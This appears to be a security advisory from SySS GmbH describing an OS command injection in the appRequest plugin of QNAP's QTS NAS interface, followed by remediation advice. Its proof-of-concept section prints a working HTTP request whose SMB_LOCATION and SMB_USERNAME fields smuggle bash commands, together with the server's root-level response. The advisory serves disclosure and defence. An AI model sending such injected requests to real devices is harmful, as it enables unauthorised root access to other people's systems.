~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

QTS is the operating system used by manufacturer QNAP on its series of
NAS devices (see [1]).

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

The SySS GmbH found an OS command injection in the appRequest plugin of
the current QTS administrative interface.

This type of vulnerability allows an attacker to run arbitrary commands
on the operating system of the host as root.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

1. Log in to the QNAP. The user needs the privileges to create backup
jobs.

2. Run a request like the following, testing connection to another QNAP
for backups:

==
POST /cgi-bin/wizReq.cgi? HTTP/1.1
Host: [IP of the QNAP]:8080
Content-Length: 282

wiz_func=backup&action=test_server&count=1465380979663&RR_CLIENT_MODE=QN
AP_mode&SMB_LOCATION=$(bash%20-c%20"(echo;pwd)1>%262";exit)&RR_CLIENT_PO
RT=873&REMOTE_VOL=undefined&REMOTE_PATH=%2F&SMB_USERNAME=$(bash%20-c%20"
(echo;id)1>%262";exit)&SMB_PASSWD=asd&No_vol_info=yes&sid=[sid]

3. The contained commands in SMB_LOCATION and SMB_USERNAME will be
executed, as demonstrated in the following server response containing
the output of the id and pwd commands:

==
HTTP/1.1 200 OK
Date: Wed, 08 Jun 2016 10:31:50 GMT
Content-Type: text/plain
Content-Length: 1205

uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)

/home/httpd/cgi-bin
Content-type: text/xml

<?xml version="1.0" encoding="UTF-8" ?>
<QDocRoot version="1.0">
[...]

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

The manufacturer has not released any security update or patch so far.
Validate input-strings, escape shell arguments or use parametrized
command executions.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
